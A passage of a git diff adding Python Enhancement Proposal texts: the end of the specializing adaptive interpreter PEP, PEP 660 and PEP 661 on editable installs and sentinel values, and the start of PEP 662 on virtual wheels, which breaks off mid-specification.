would replace ``LOAD_ATTR_ADAPTIVE`` in place. + +Specialization for ``LOAD_ATTR`` might include: + +* ``LOAD_ATTR_INSTANCE_VALUE`` A common case where the attribute is stored in + the object's value array, and not shadowed by an overriding descriptor. +* ``LOAD_ATTR_MODULE`` Load an attribute from a module. +* ``LOAD_ATTR_SLOT`` Load an attribute from an object whose + class defines ``__slots__``. + +Note how this allows optimizations that complement other optimizations. +The ``LOAD_ATTR_INSTANCE_VALUE`` works well with the "lazy dictionary" used for +many objects. + +LOAD_GLOBAL +''''''''''' + +The ``LOAD_GLOBAL`` instruction looks up a name in the global namespace +and then, if not present in the global namespace, +looks it up in the builtins namespace. +In 3.9 the C code for the ``LOAD_GLOBAL`` includes code to check to see +whether the whole code object should be modified to add a cache, +whether either the global or builtins namespace, +code to lookup the value in a cache, and fallback code. +This makes it complicated and bulky. +It also performs many redundant operations even when supposedly optimized. + +Using a family of instructions makes the code more maintainable and faster, +as each instruction only needs to handle one concern. + +Specializations would include: + +* ``LOAD_GLOBAL_ADAPTIVE`` would operate like ``LOAD_ATTR_ADAPTIVE`` above. +* ``LOAD_GLOBAL_MODULE`` can be specialized for the case where the value is in + the globals namespace. After checking that the keys of the namespace have + not changed, it can load the value from the stored index. +* ``LOAD_GLOBAL_BUILTIN`` can be specialized for the case where the value is + in the builtins namespace. It needs to check that the keys of the global + namespace have not been added to, and that the builtins namespace has not + changed. Note that we don't care if the values of the global namespace + have changed, just the keys. + +See [4]_ for a full implementation. + +.. note:: + + This PEP outlines the mechanisms for managing specialization, and does not + specify the particular optimizations to be applied. + It is likely that details, or even the entire implementation, may change + as the code is further developed. + +Compatibility +============= + +There will be no change to the language, library or API. + +The only way that users will be able to detect the presence of the new +interpreter is through timing execution, the use of debugging tools, +or measuring memory use. + +Costs +===== + +Memory use +---------- + +An obvious concern with any scheme that performs any sort of caching is +"how much more memory does it use?". +The short answer is "not that much". + +Comparing memory use to 3.10 +'''''''''''''''''''''''''''' + +CPython 3.10 used 2 bytes per instruction, until the execution count +reached ~2000 when it allocates another byte per instruction and +32 bytes per instruction with a cache (``LOAD_GLOBAL`` and ``LOAD_ATTR``). + +The following table shows the additional bytes per instruction to support the +3.10 opcache or the proposed adaptive interpreter, on a 64 bit machine. + +================ ========== ========== ====== + Version 3.10 cold 3.10 hot 3.11 + Specialised 0% ~15% ~25% +---------------- ---------- ---------- ------ + code 2 2 2 + opcache_map 0 1 0 + opcache/data 0 4.8 4 +---------------- ---------- ---------- ------ + Total 2 7.8 6 +================ ========== ========== ====== + +``3.10 cold`` is before the code has reached the ~2000 limit. +``3.10 hot`` shows the cache use once the threshold is reached. + +The relative memory use depends on how much code is "hot" enough to trigger +creation of the cache in 3.10. The break even point, where the memory used +by 3.10 is the same as for 3.11 is ~70%. + +It is also worth noting that the actual bytecode is only part of a code +object. Code objects also include names, constants and quite a lot of +debugging information. + +In summary, for most applications where many of the functions are relatively +unused, 3.11 will consume more memory than 3.10, but not by much. + + +Security Implications +===================== + +None + + +Rejected Ideas +============== + +By implementing a specializing adaptive interpreter with inline data caches, +we are implicitly rejecting many alternative ways to optimize CPython. +However, it is worth emphasizing that some ideas, such as just-in-time +compilation, have not been rejected, merely deferred. + +Storing data caches before the bytecode. +---------------------------------------- + +An earlier implementation of this PEP for 3.11 alpha used a different caching +scheme as described below: + + + Quickened instructions will be stored in an array (it is neither necessary not + desirable to store them in a Python object) with the same format as the + original bytecode. Ancillary data will be stored in a separate array. + + Each instruction will use 0 or more data entries. + Each instruction within a family must have the same amount of data allocated, + although some instructions may not use all of it. + Instructions that cannot be specialized, e.g. ``POP_TOP``, + do not need any entries. + Experiments show that 25% to 30% of instructions can be usefully specialized. + Different families will need different amounts of data, + but most need 2 entries (16 bytes on a 64 bit machine). + + In order to support larger functions than 256 instructions, + we compute the offset of the first data entry for instructions + as ``(instruction offset)//2 + (quickened operand)``. + + Compared to the opcache in Python 3.10, this design: + + * is faster; it requires no memory reads to compute the offset. + 3.10 requires two reads, which are dependent. + * uses much less memory, as the data can be different sizes for different + instruction families, and doesn't need an additional array of offsets. + can support much larger functions, up to about 5000 instructions + per function. 3.10 can support about 1000. + +We rejected this scheme as the inline cache approach is both faster +and simpler. + +References +========== + +.. [1] The construction of high-performance virtual machines for + dynamic languages, Mark Shannon 2010. + http://theses.gla.ac.uk/2975/1/2011shannonphd.pdf + +.. [2] Dynamic Interpretation for Dynamic Scripting Languages + https://www.scss.tcd.ie/publications/tech-reports/reports.09/TCD-CS-2009-37.pdf + +.. [3] Inline Caching meets Quickening + https://www.unibw.de/ucsrl/pubs/ecoop10.pdf/view + +.. [4] The adaptive and specialized instructions are implemented in + https://github.com/python/cpython/blob/main/Python/ceval.c + + The optimizations are implemented in: + https://github.com/python/cpython/blob/main/Python/specialize.c + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0660.rst b/pep-0660.rst new file mode 100644 index 00000000000..7547eadeb1e --- /dev/null +++ b/pep-0660.rst @@ -0,0 +1,336 @@ +PEP: 660 +Title: Editable installs for pyproject.toml based builds (wheel based) +Author: Daniel Holth , Stéphane Bidoul +Sponsor: Paul Moore +Discussions-To: https://discuss.python.org/t/draft-pep-editable-installs-for-pep-517-style-build-backends/8510 +Status: Final +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 30-Mar-2021 +Post-History: +Resolution: https://discuss.python.org/t/pronouncement-on-peps-660-and-662-editable-installs/9450 + + +Abstract +======== + +This document describes a :pep:`517` style method for the installation of packages +in editable mode. + +Motivation +========== + +Python programmers want to be able to develop packages without having to +install (i.e. copy) them into ``site-packages``, for example, by working in a +checkout of the source repository. + +While this can be done by adding the relevant source directories to +``PYTHONPATH``, ``setuptools`` provides the ``setup.py develop`` mechanism that +makes the process easier, and also installs dependencies and entry points such +as console scripts. ``pip`` exposes this mechanism via its ``pip install +--editable`` option. + +The installation of projects in such a way that the python code being +imported remains in the source directory is known as the *editable* +installation mode. + +Now that :pep:`517` provides a mechanism to create alternatives to setuptools, and +decouple installation front ends from build backends, we need a new mechanism +to install packages in editable mode. + +Rationale +========= + +:pep:`517` deferred "Editable installs", meaning non-``setup.py`` +distributions lacked that feature. The only way to retain ``editable`` installs +for these distributions was to provide a compatible ``setup.py develop`` +implementation. By defining an editable hook other build frontends gain +parity with ``setup.py``. + +Terminology and goals +===================== + +The editable installation mode implies that the source code of the project +being installed is available in a local directory. + +Once the project is installed in editable mode, users expect that changes to +the project *python* code in the local source tree become effective without the +need of a new installation step. + +Some kind of changes, such as the addition or modification of entry points, or +the addition of new dependencies, require a new installation step to become +effective. These changes are typically made in build backend configuration +files (such as ``pyproject.toml``), so it is consistent with the general user +expectation that *python* source code is imported from the source tree. + +The modification of non-python source code such a C extension modules obviously +require a compilation and/or installation step to become effective. The exact +steps to perform will remain specific to the build backend used. + +When a project is installed in editable mode, users expect the installation to +behave identically as a regular installation. In particular the code must be +importable by other code, and metadata must be available to standard mechanisms +such as ``importlib.metadata``. + +Depending on the way build backends implement this specification, some minor +differences may be visible such as the presence of additional files that are in +the source tree and would not be part of a regular install. Build backends are +encouraged to document such potential differences. + +The Mechanism +============= + +This PEP adds three optional hooks to the :pep:`517` backend interface. These hooks +are used to build a wheel that, when installed, allows that distribution to be +imported from its source folder. + +build_editable +-------------- + +:: + + def build_editable(wheel_directory, config_settings=None, metadata_directory=None): + ... + +Must build a ``.whl`` file, and place it in the specified ``wheel_directory``. +It must return the basename (not the full path) of the .whl file it creates, as +a unicode string. + +May do an in-place build of the distribution as a side effect so that any +extension modules or other built artifacts are ready to be used. + +The .whl file must comply with the Wheel binary file format specification (PEP +427). In particular it must contain a compliant .dist-info directory. +Metadata must be identical as the one that would have been produced by +``build_wheel`` or ``prepare_metadata_for_build_wheel``, except for +``Requires-Dist`` which may differ slightly as explained below. + +Build-backends must produce wheels that have the same dependencies +(``Requires-Dist`` metadata) as wheels produced by the ``build_wheel`` hook, +with the exception that they can add dependencies necessary for their editable +mechanism to function at runtime (such as `editables`_). + +The filename for the "editable" wheel needs to be :pep:`427` compliant too. It +does not need to use the same tags as ``build_wheel`` but it must be tagged as +compatible with the system. + +If the build frontend has previously called ``prepare_metadata_for_build_editable`` +and depends on the wheel resulting from this call to have metadata +matching this earlier call, then it should provide the path to the created +``.dist-info`` directory as the ``metadata_directory`` argument. If this +argument is provided, then ``build_editable`` MUST produce a wheel with identical +metadata. The directory passed in by the build frontend MUST be +identical to the directory created by ``prepare_metadata_for_build_editable``, +including any unrecognized files it created. + +An "editable" wheel uses the wheel format not for distribution but as ephemeral +communication between the build system and the front end. This avoids having +the build backend install anything directly. This wheel must not be exposed +to end users, nor cached, nor distributed. + +get_requires_for_build_editable +------------------------------- + +:: + + def get_requires_for_build_editable(config_settings=None): + ... + +This hook MUST return an additional list of strings containing :pep:`508` +dependency specifications, above and beyond those specified in the +``pyproject.toml`` file, to be installed when calling the +``build_editable`` hooks. + +If not defined, the default implementation is equivalent to ``return []``. + +prepare_metadata_for_build_editable +----------------------------------- + +:: + + def prepare_metadata_for_build_editable(metadata_directory, config_settings=None): + ... + +Must create a ``.dist-info`` directory containing wheel metadata +inside the specified ``metadata_directory`` (i.e., creates a directory +like ``{metadata_directory}/{package}-{version}.dist-info/``). This +directory MUST be a valid ``.dist-info`` directory as defined in the +wheel specification, except that it need not contain ``RECORD`` or +signatures. The hook MAY also create other files inside this +directory, and a build frontend MUST preserve, but otherwise ignore, such files; +the intention +here is that in cases where the metadata depends on build-time +decisions, the build backend may need to record these decisions in +some convenient format for re-use by the actual wheel-building step. + +This must return the basename (not the full path) of the ``.dist-info`` +directory it creates, as a unicode string. + +If a build frontend needs this information and the method is +not defined, it should call ``build_editable`` and look at the resulting +metadata directly. + +What to put in the wheel +------------------------ + +Build backends must populate the generated wheel with files that when installed will result in an editable install. +Build backends may use different techniques to achieve the goals of an editable +install. This section provides examples and is not normative. + +* Build backends may choose to place a ``.pth`` file at the root of the ``.whl`` file, + containing the root directory of the source tree. This approach is simple but + not very precise, although it may be considered good enough (especially when + using the ``src`` layout) and is similar to what ``setup.py develop`` + currently does. +* The `editables`_ library shows how to build proxy modules that + provide a high quality editable installation. It accepts a list of modules + to include, and hide. When imported, these proxy modules replace themselves + with the code from the source tree. Path-based methods make all scripts under + a path importable, often including the project's own ``setup.py`` and other + scripts that would not be part of a normal installation. The proxy strategy + can achieve a higher level of fidelity than path-based methods. +* Symbolic links are another useful mechanism to realize editable installs. + Since, at the time this writing, the ``wheel`` specification does not support + symbolic links, they are not directly usable to set-up symbolic links in the + target environment. It is however possible for the backend to create a + symlink structure in some ``build`` directory of the source tree, and add + that directory to the python path via a ``.pth`` file in the "editable" + wheel. If some files linked in this manner depend on python implementation or + version, ABI or platform, care must be taken to generate the link structure + in different directories depending on compatibility tags, so the same project + tree can be installed in editable mode in multiple environments. + +Frontend requirements +--------------------- + +Frontends must install "editable" wheels in the same way as regular wheels. +This also means uninstallation of editables does not require any special treatment. + +Frontends must create a ``direct_url.json`` file in the ``.dist-info`` +directory of the installed distribution, in compliance with :pep:`610`. The +``url`` value must be a ``file://`` url pointing to the project directory +(i.e. the directory containing ``pyproject.toml``), and the ``dir_info`` value +must be ``{'editable': true}``. + +Frontends must execute ``get_requires_for_build_editable`` hooks in +an environment which contains the bootstrap requirements specified in the +``pyproject.toml`` file. + +Frontends must execute the ``prepare_metadata_for_build_editable`` and +``build_editable`` hooks in an environment which contains the bootstrap +requirements from ``pyproject.toml`` and those specified by the +``get_requires_for_build_editable`` hook. + +Frontends must not expose the wheel obtained from ``build_editable`` +to end users. The wheel must be discarded after installation and must not be +cached nor distributed. + +Limitations +=========== + +With regard to the wheel ``.data`` directory, this PEP focuses on making the +``purelib`` and ``platlib`` categories (installed into site-packages) +"editable". It does not make special provision for the other categories such as +``headers``, ``data`` and ``scripts``. Package authors are encouraged to use +``console_scripts``, make their ``scripts`` tiny wrappers around library +functionality, or manage these from the source checkout during development. + +Prototypes +========== + +At the time of writing this PEP, several prototype implementations are +available in various frontends and backends. We provide links below to +illustrate possible approaches. + +Frontends: + +- pip (`pull request `__) + +Build backends: + +- enscons (`pull request 1 `__, + `pull request 2 `__) +- flit (`pull request `__) +- hatchling (`sdist `__) +- pdm (`pull request `__) +- setuptools (`setuptools_pep660 repository `_) + +Rejected ideas +============== + +``editable`` local version identifier +------------------------------------- + +The ideas of having build backends append or modify the local version +identifier to include the ``editable`` string has been rejected because it +would not satisfy ``==`` version speicifier that include the local version +identifier. In other words ``pkg==1.0+local`` is not satisfied by version +``1.0+local.editable``. + +Virtual wheel +------------- + +Another approach was proposed in :pep:`662`, where +the build backend returns a mapping from source files and directories to the +installed layout. It is then up to the installer frontend to realize the +editable installation by whatever means it deems adequate for its users. + +In terms of capabilities, both proposals provide the core "editable" feature. + +The key difference is that :pep:`662` leaves it to the frontend to decide how the +editable installation will be realized, while with this PEP, the choice must be +made by the backend. Both approaches can in principle provide several editable +installation methods for a given project, and let the developer choose one at +install time. + +At the time of writing this PEP, it is clear that the community has a wide +range of theoretical and practical expectations about editable installs. The +reality is that the only one there is wide experience with is path insertion +via .pth (i.e. what setup.py develop does). + +We believe that :pep:`660` better addresses these "unknown unknowns" today in the +most reliable way, by letting project authors select the backend or implement +the method that provides the editable mechanism that best suit their +requirements, and test it works correctly. Since the frontend has no latitude +in *how* to install the "editable" wheel, in case of issue, there is only one +place to investigate: the build backend. + +With :pep:`662`, issues need to be investigated in the frontend, +the backend and possiblty the specification. There is also a high probability +that different frontends, implementing the specification in different ways, +will produce installations that behave differently than project authors +intended, creating confusion, or worse, projects that only work with specific +frontends or IDEs. + +Unpacked wheel +-------------- + +A `prototype `_ was made that +created an unpacked wheel in a temporary directory, to be copied to the target +environment by the frontend. This approach was not pursued because a wheel +archive is easy to create for the backend, and using a wheel as communication +mechanism is a better fit with the :pep:`517` philosophy, and therefore keeps +things simpler for the frontend. + +References +========== + +.. _`editables`: https://pypi.org/project/editables/ + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0661.rst b/pep-0661.rst new file mode 100644 index 00000000000..24237c3d7c4 --- /dev/null +++ b/pep-0661.rst @@ -0,0 +1,343 @@ +PEP: 661 +Title: Sentinel Values +Author: Tal Einat +Discussions-To: https://discuss.python.org/t/pep-661-sentinel-values/9126 +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 06-Jun-2021 +Post-History: 06-Jun-2021 + + +TL;DR: See the `Specification`_ and `Reference Implementation`_. + + +Abstract +======== + +Unique placeholder values, commonly known as "sentinel values", are useful in +Python programs for several things, such as default values for function +arguments where ``None`` is a valid input value. These cases are common +enough for several idioms for implementing such "sentinels" to have arisen +over the years, but uncommon enough that there hasn't been a clear need for +standardization. However, the common implementations, including some in the +stdlib, suffer from several significant drawbacks. + +This PEP suggests adding a utility for defining sentinel values, to be used +in the stdlib and made publicly available as part of the stdlib. + +Note: Changing all existing sentinels in the stdlib to be implemented this +way is not deemed necessary, and whether to do so is left to the discretion +of each maintainer. + + +Motivation +========== + +In May 2021, a question was brought up on the python-dev mailing list +[#python-dev-thread]_ about how to better implement a sentinel value for +``traceback.print_exception``. The existing implementation used the +following common idiom:: + + _sentinel = object() + +However, this object has an uninformative and overly verbose repr, causing the +function's signature to be overly long and hard to read:: + + >>> help(traceback.print_exception) + Help on function print_exception in module traceback: + + print_exception(exc, /, value=, tb=, + limit=None, file=None, chain=True) + +Additionally, two other drawbacks of many existing sentinels were brought up +in the discussion: + +1. Not having a distinct type, hence it being impossible to define strict + type signatures functions with sentinels as default values +2. Incorrect behavior after being copied or unpickled, due to a separate + instance being created and thus comparisons using ``is`` failing + +In the ensuing discussion, Victor Stinner supplied a list of currently used +sentinel values in the Python standard library [#list-of-sentinels-in-stdlib]_. +This showed that the need for sentinels is fairly common, that there are +various implementation methods used even within the stdlib, and that many of +these suffer from at least one of the aforementioned drawbacks. + +The discussion did not lead to any clear consensus on whether a standard +implementation method is needed or desirable, whether the drawbacks mentioned +are significant, nor which kind of implementation would be good. + +A poll was created on discuss.python.org [#poll]_ to get a clearer sense of +the community's opinions. The poll's results were not conclusive, with 40% +voting for "The status-quo is fine / there’s no need for consistency in +this", but most voters voting for one or more standardized solutions. +Specifically, 37% of the voters chose "Consistent use of a new, dedicated +sentinel factory / class / meta-class, also made publicly available in the +stdlib". + +With such mixed opinions, this PEP was created to facilitate making a decision +on the subject. + + +Rationale +========= + +The criteria guiding the chosen implementation were: + +1. The sentinel objects should behave as expected by a sentinel object: When + compared using the ``is`` operator, it should always be considered identical + to itself but never to any other object. +2. It should be simple to define as many distinct sentinel values as needed. +3. The sentinel objects should have a clear and short repr. +4. The sentinel objects should each have a *distinct* type, usable in type + annotations to define *strict* type signatures. +5. The sentinel objects should behave correctly after copying and/or + unpickling. +6. Creating a sentinel object should be a simple, straightforward one-liner. +7. Works using CPython and PyPy3. Will hopefully also work with other + implementations. + +After researching existing idioms and implementations, and going through many +different possible implementations, an implementation was written which meets +all of these criteria (see `Reference Implementation`_). + + +Specification +============= + +A new ``sentinel`` function will be added to a new ``sentinels`` module. +It will accept a single required argument, the name of the sentinel object, +and a single optional argument, the repr of the object. + +:: + + >>> NotGiven = sentinel('NotGiven') + >>> NotGiven + + >>> MISSING = sentinel('MISSING', repr='mymodule.MISSING') + >>> MISSING + mymodule.MISSING + +Checking if a value is such a sentinel *should* be done using the ``is`` +operator, as is recommended for ``None``. Equality checks using ``==`` will +also work as expected, returning ``True`` only when the object is compared +with itself. + +The name should be set to the name of the variable used to reference the +object, as in the examples above. Otherwise, the sentinel object won't be +able to survive copying or pickling+unpickling while retaining the above +described behavior. Note, that when defined in a class scope, the name must +be the fully-qualified name of the variable in the module, for example:: + + class MyClass: + NotGiven = sentinel('MyClass.NotGiven') + +Type annotations for sentinel values will use `typing.Literal`_. +For example:: + + def foo(value: int | Literal[NotGiven]) -> None: + ... + +.. _typing.Literal: https://docs.python.org/3/library/typing.html#typing.Literal + + +Reference Implementation +======================== + +The reference implementation is found in a dedicated GitHub repo +[#reference-github-repo]_. A simplified version follows:: + + def sentinel(name, repr=None): + """Create a unique sentinel object.""" + repr = repr or f'<{name}>' + + module = _get_parent_frame().f_globals.get('__name__', '__main__') + class_name = _get_class_name(name, module) + class_namespace = { + '__repr__': lambda self: repr, + } + cls = type(class_name, (), class_namespace) + cls.__module__ = module + _get_parent_frame().f_globals[class_name] = cls + + sentinel = cls() + cls.__new__ = lambda cls_: sentinel + + return sentinel + + def _get_class_name(sentinel_qualname, module_name): + return '__'.join(['_sentinel_type', + module_name.replace('.', '_'), + sentinel_qualname.replace('.', '_')]) + + +Note that a dedicated class is created automatically for each sentinel object. +This class is assigned to the namespace of the module from which the +``sentinel()`` call was made, or to that of the ``sentinels`` module itself as +a fallback. These classes have long names comprised of several parts to +ensure their uniqueness. However, these names usually wouldn't be used, since +type annotations should use ``Literal[]`` as described above, and identity +checks should be preferred over type checks. + + +Rejected Ideas +============== + + +Use ``NotGiven = object()`` +--------------------------- + +This suffers from all of the drawbacks mentioned in the `Rationale`_ section. + + +Add a single new sentinel value, e.g. ``MISSING`` or ``Sentinel`` +----------------------------------------------------------------- + +Since such a value could be used for various things in various places, one +could not always be confident that it would never be a valid value in some use +cases. On the other hand, a dedicated and distinct sentinel value can be used +with confidence without needing to consider potential edge-cases. + +Additionally, it is useful to be able to provide a meaningful name and repr +for a sentinel value, specific to the context where it is used. + +Finally, this was a very unpopular option in the poll [#poll]_, with only 12% +of the votes voting for it. + + +Use the existing ``Ellipsis`` sentinel value +-------------------------------------------- + +This is not the original intended use of Ellipsis, though it has become +increasingly common to use it to define empty class or function blocks instead +of using ``pass``. + +Also, similar to a potential new single sentinel value, ``Ellipsis`` can't be +as confidently used in all cases, unlike a dedicated, distinct value. + + +Use a single-valued enum +------------------------ + +The suggested idiom is: + +:: + + class NotGivenType(Enum): + NotGiven = 'NotGiven' + NotGiven = NotGivenType.NotGiven + +Besides the excessive repetition, the repr is overly long: +````. A shorter repr can be defined, at +the expense of a bit more code and yet more repetition. + +Finally, this option was the least popular among the nine options in the poll +[#poll]_, being the only option to receive no votes. + + +A sentinel class decorator +-------------------------- + +The suggested interface: + +:: + + @sentinel(repr='') + class NotGivenType: pass + NotGiven = NotGivenType() + +While this allowed for a very simple and clear implementation, the interface +is too verbose, repetitive, and difficult to remember. + + +Using class objects +------------------- + +Since classes are inherently singletons, using a class as a sentinel value +makes sense and allows for a simple implementation. + +The simplest version of this idiom is: + +:: + + class NotGiven: pass + +To have a clear repr, one could define ``__repr__``: + +:: + + class NotGiven: + def __repr__(self): + return '' + +... or use a meta-class: + +:: + + class NotGiven(metaclass=SentinelMeta): pass + +However, all such implementations don't have a dedicated type for the +sentinel, which is considered desirable for strict typing. A dedicated type +could be created by a meta-class or class decorator, but at that point the +implementation would become much more complex and loses its advantages over +the chosen implementation. + +Additionally, using classes this way is unusual and could be confusing. + + +Define a recommended "standard" idiom, without supplying an implementation +-------------------------------------------------------------------------- + +Most common exiting idioms have significant drawbacks. So far, no idiom +has been found that is clear and concise while avoiding these drawbacks. + +Also, in the poll on this subject [#poll]_, the options for recommending an +idiom were unpopular, with the highest-voted option being voted for by only +25% of the voters. + + +Additional Notes +================ + +* This PEP and the initial implementation are drafted in a dedicated GitHub + repo [#reference-github-repo]_. + +* The support for copying/unpickling works when defined in a module's scope or + a (possibly nested) class's scope. Note that in the latter case, the name + provided as the first parameter must be the fully-qualified name of the + variable in the module:: + + class MyClass: + NotGiven = sentinel('MyClass.NotGiven', repr='') + + +References +========== + +.. [#python-dev-thread] Python-Dev mailing list: `The repr of a sentinel `_ +.. [#list-of-sentinels-in-stdlib] Python-Dev mailing list: `"The stdlib contains tons of sentinels" `_ +.. [#poll] discuss.python.org Poll: `Sentinel Values in the Stdlib `_ +.. [#reference-github-repo] `Reference implementation at the taleinat/python-stdlib-sentinels GitHub repo `_ +.. [5] `bpo-44123: Make function parameter sentinel values true singletons `_ +.. [6] `The "sentinels" package on PyPI `_ +.. [7] `The "sentinel" package on PyPI `_ +.. [8] `Discussion thread about type signatures for these sentinels on the typing-sig mailing list `_ + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0662.rst b/pep-0662.rst new file mode 100644 index 00000000000..54b83157d4a --- /dev/null +++ b/pep-0662.rst @@ -0,0 +1,431 @@ +PEP: 662 +Title: Editable installs via virtual wheels +Author: Bernát Gábor +Sponsor: Brett Cannon +Discussions-To: https://discuss.python.org/t/discuss-tbd-editable-installs-by-gaborbernat/9071 +Status: Rejected +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 28-May-2021 +Post-History: +Resolution: https://discuss.python.org/t/pronouncement-on-peps-660-and-662-editable-installs/9450 + + +Abstract +======== + +This document describes extensions to the build backend and frontend +communication (as introduced by :pep:`517`) to allow projects to be installed in +editable mode by introducing virtual wheels. + +Motivation +========== + +During development, many Python users prefer to install their libraries so that +changes to the underlying source code and resources are automatically reflected +in subsequent interpreter invocations without an additional installation step. +This mode is usually called "development mode" or "editable installs". +Currently, there is no standardized way to accomplish this, as it was explicitly +left out of :pep:`517` due to the complexity of the actual observed behaviors. + +At the moment, users to get this behaviour perform one of the following: + +- For just Python code by adding the relevant source directories to + ``sys.path`` (configurable from the command line interface via the + ``PYTHONPATH`` environment variable). Note in this case, the users have to + install the project dependencies themselves, and entry points or project + metadata are not generated. + +- setuptools_ provides the `setup.py develop`_ mechanism: that installs a + ``pth`` file that injects the project root onto the ``sys.path`` at + interpreter startup time, generates the project metadata, and also installs + project dependencies. pip_ exposes calling this mechanism via the + `pip install -e `_ command-line interface. + +- flit_ provides the `flit install --symlink`_ command that symlinks the + project files into the interpreters ``purelib`` folder, generates the + project metadata, and also installs dependencies. Note, this allows + supporting resource files too. + +As these examples shows an editable install can be achieved in multiple ways +and at the moment there's no standard way of doing it. Furthermore, it's not +clear whose responsibility it is to achieve and define what an editable +installation is: + +1. allow the build backend to define and materialize it, +2. allow the build frontend to define and materialize it, +3. explicitly define and standardize one method from the possible options. + +The author of this PEP believes there's no one size fits all solution here, +each method of achieving editable effect has its pros and cons. Therefore +this PEP rejects option three as it's unlikely for the community to agree on a +single solution. Furthermore, question remains as to whether the frontend or the +build backend should own this responsibility. :pep:`660` proposes the build +backend to own this, while the current PEP proposes primarily the frontend, +but still allows the backend to take take control if it wants to do so. + +Rationale +========= + +:pep:`517` deferred "Editable installs" because this would have delayed further +its adoption, and there wasn't an agreement on how editable installs should be +achieved. Due to the popularity of the setuptools_ and pip_ projects, the status +quo prevailed, and the backend could achieve editable mode by providing a +``setup.py develop`` implementation, which the user could trigger via `pip +install -e `_. By defining an editable interface between the +build backend and frontend, we can eliminate the ``setup.py`` file and their +current communication method. + +Terminology and goals +===================== + +This PEP aims to delineate the frontend and the backend roles clearly and give +the developers of each the maximum ability to provide valuable features to +their users. In this proposal, the backend's role is to prepare the project for +an editable installation, and then provide enough information to the frontend +so that the frontend can manifest and enforce the editable installation. + +The information the backend provides to the frontend is a wheel that follows +the existing specification within :pep:`427`. The wheel metadata about the +archive itself (``{distribution}-{version}.dist-info/WHEEL``) must also contain +the key ``Editable`` with value of ``true``. + +However, instead of providing the project files within the wheel, it must +provide an ``editable.json`` file (at the root level of the wheel) that defines +the files to be exposed by the frontend. The content of this file is formulated +as a mapping of absolute source tree paths to relative target interpreter +destination paths within a scheme mapping. + +A wheel that satisfies the previous two paragraphs is a virtual wheel. The +frontend's role is to take the virtual wheel and install the project in +editable mode. The way it achieves this is entirely up to the frontend and is +considered implementation detail. + +The editable installation mode implies that the source code of the project +being installed is available in a local directory. Once the project is +installed in editable mode, some changes to the project code in the local +source tree will become effective without the need for a new installation step. +At a minimum, changes to the text of non-generated files that existed at the +installation time should be reflected upon the subsequent import of the +package. + +Some kinds of changes, such as adding or modifying entry points or new +dependencies, require a new installation step to become effective. These changes +are typically made in build backend configuration files (such as +``pyproject.toml``). This requirement is consistent with the general user +expectation that such modifications will only become effective after +re-installation. + +While users expect editable installations to behave identically to standard +installations, this may not always be possible and may be in tension with other +user expectations. Depending on how a frontend implements the editable mode, +some differences may be visible, such as the presence of additional files +(compared to a typical installation), either in the source tree or the +interpreter's installation path. + +Frontends should seek to minimize differences between the behavior of editable +and standard installations and document known differences. + +For reference, a non-editable installation works as follows: + +#. The **developer** is using a tool, we'll call it here the **frontend**, to + drive the project development (e.g., pip_). When the user wants to trigger a + package build and installation of a project, they'll communicate with the + **frontend**. + +#. The frontend uses a **build frontend** to trigger the build of a wheel (e.g., + build_). The build frontend uses :pep:`517` to communicate with the **build + backend** (e.g. setuptools_) - with the build backend installed into a + :pep:`518` environment. Once invoked, the backend returns a wheel. + +#. The frontend takes the wheel and feeds it to an **installer** + (e.g., installer_) to install the wheel into the target Python interpreter. + +The Mechanism +============= + +This PEP adds two optional hooks to the :pep:`517` backend interface. One of the +hooks is used to specify the build dependencies of an editable install. The +other hook returns the necessary information via the build frontend the frontend +needs to create an editable install. + +``get_requires_for_build_editable`` +----------------------------------- + +.. code:: + + def get_requires_for_build_editable(config_settings=None): + ... + +This hook MUST return an additional sequence of strings containing :pep:`508` +dependency specifications, above and beyond those specified in the +``pyproject.toml`` file. The frontend must ensure that these dependencies are +available in the build environment in which the ``build_editable`` hook is +called. + +If not defined, the default implementation is equivalent to returning ``[]``. + +``prepare_metadata_for_build_editable`` +--------------------------------------- + +:: + + def prepare_metadata_for_build_editable(metadata_directory, config_settings=None): + ... + +Must create a ``.dist-info`` directory containing wheel metadata +inside the specified ``metadata_directory`` (i.e., creates a directory +like ``{metadata_directory}/{package}-{version}.dist-info/``). This +directory MUST be a valid ``.dist-info`` directory as defined in the +wheel specification, except that it need not contain ``RECORD`` or +signatures. The hook MAY also create other files inside this +directory, and a build frontend MUST preserve, but otherwise ignore, such files; +the intention here is that in cases where the metadata depends on build-time +decisions, the build backend may need to record these decisions in +some convenient format for re-use by the actual wheel-building step. + +This must return the basename (not the full path) of the ``.dist-info`` +directory it creates, as a unicode string. + +If a build frontend needs this information and the method is +not defined, it should call ``build_editable`` and look at the resulting +metadata directly. + + +``build_editable`` +------------------ + +.. code:: + + def build_editable(self, wheel_directory, config_settings=None, + metadata_directory=None): + ... + +Must build a .whl file, and place it in the specified ``wheel_directory``. It +must return the basename (not the full path) of the ``.whl`` file it creates, +as a unicode string. The wheel file must be of type virtual wheel as defined +under the terminology section. + +If the build frontend has previously called ``prepare_metadata_for_build_editable`` +and depends on the wheel resulting from this call to have metadata +matching this earlier call, then it should provide the path to the created +``.dist-info`` directory as the ``metadata_directory`` argument. If this +argument is provided, then ``build_editable`` MUST produce a wheel with identical +metadata. The directory passed in by the build frontend MUST be +identical to the directory created by ``prepare_metadata_for_build_editable``, +including any unrecognized files it created. + +Backends which do not provide the ``prepare_metadata_for_build_editable`` hook may +either silently ignore the ``metadata_directory`` parameter to ``build_editable``, +or else raise an exception when it is set to anything other than ``None``. + +The source directory may be read-only, in such cases the backend may raise an +error that the frontend can display to the user. The backend may store intermediate +artifacts in cache locations or temporary directories. The presence or absence of +any caches should not make a material difference to the final result of the build. + +The content of the ``editable.json`` MUST pass against the following JSON schema: + +.. include:: 